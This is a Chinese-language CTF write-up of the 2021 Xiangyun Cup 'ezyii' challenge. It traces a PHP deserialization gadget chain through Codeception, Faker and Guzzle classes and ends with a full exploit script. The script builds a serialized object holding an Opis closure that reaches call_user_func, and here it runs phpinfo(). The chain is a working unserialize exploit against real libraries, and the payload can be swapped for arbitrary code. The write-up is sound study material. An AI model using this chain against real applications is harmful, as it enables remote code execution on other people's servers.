前言
2021祥云杯部分赛题复现
当然比赛的时候是一题也没做出来,现在跟着大佬的wp来复现一遍,顺便学习知识点
ezyii
寻找入口点
1 2 3 4 5 6 7 8 9 10 11
| public function stopProcess() { foreach (array_reverse($this->processes) as $process) { if (!$process->isRunning()) { continue; } $this->output->debug('[RunProcess] Stopping ' . $process->getCommandLine()); $process->stop(); } $this->processes = []; }
|
RunProcess里的stopProcess方法调用了$process->getCommandLine()
并且进行了字符串拼接操作,可以触发魔术方法__call
和__tosring
1 2 3 4 5 6 7 8
| class DefaultGenerator { protected $default; public function __call($method, $attributes) { return $this->default; } }
|
DefaultGenerator中有可供调用的__call
方法
1 2 3 4 5 6 7 8
| foreach ($this->streams as $i => $stream) { try { $stream->rewind(); } catch (\Exception $e) { throw new \RuntimeException('Unable to seek stream ' . $i . ' of the AppendStream', 0, $e); } }
|
AppendStream会调用streams的rewind
CachingStream里也有个rewind,最后一通跳转又调用了$this->stream->read()
那么最后我们来看PumpStream的read方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| public function read($length) { $data = $this->buffer->read($length); $readLen = strlen($data); $this->tellPos += $readLen; $remaining = $length - $readLen;
if ($remaining) { $this->pump($remaining); $data .= $this->buffer->read($remaining); $this->tellPos += strlen($data) - $readLen; }
return $data; }
|
注意到if里调用了pump方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| private function pump($length) { if ($this->source) { do { $data = call_user_func($this->source, $length); if ($data === false || $data === null) { $this->source = null; return; } $this->buffer->write($data); $length -= strlen($data); } while ($length > 0); } }
|
pump进行了一个user_func的call。
这里贴一篇eki哥哥写的很详细的php序列化小知识
那这里为了绕过参数length的限制,使用了闭包函数,最后exp如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54
| <?php namespace Codeception\Extension{ use Faker\DefaultGenerator; use GuzzleHttp\Psr7\AppendStream; class RunProcess{ protected $output; private $processes = []; public function __construct(){ $this->processes[]=new DefaultGenerator(new AppendStream()); $this->output=new DefaultGenerator('ibuki'); } } echo urlencode(serialize(new RunProcess())); } namespace Faker{ class DefaultGenerator { protected $default; public function __construct($default = null) { $this->default = $default; } } } namespace GuzzleHttp\Psr7{ use Faker\DefaultGenerator; final class AppendStream{ private $streams = []; private $seekable = true; public function __construct(){ $this->streams[]=new CachingStream(); } } final class CachingStream{ private $remoteStream; public function __construct(){ $this->remoteStream=new DefaultGenerator(false); $this->stream=new PumpStream(); } } final class PumpStream{ private $source; private $size=-10; private $buffer; public function __construct(){ $this->buffer=new DefaultGenerator('j'); include("closure/autoload.php"); $a = function(){phpinfo(); }; $a = \Opis\Closure\serialize($a); $b = unserialize($a); $this->source=$b; } } }
|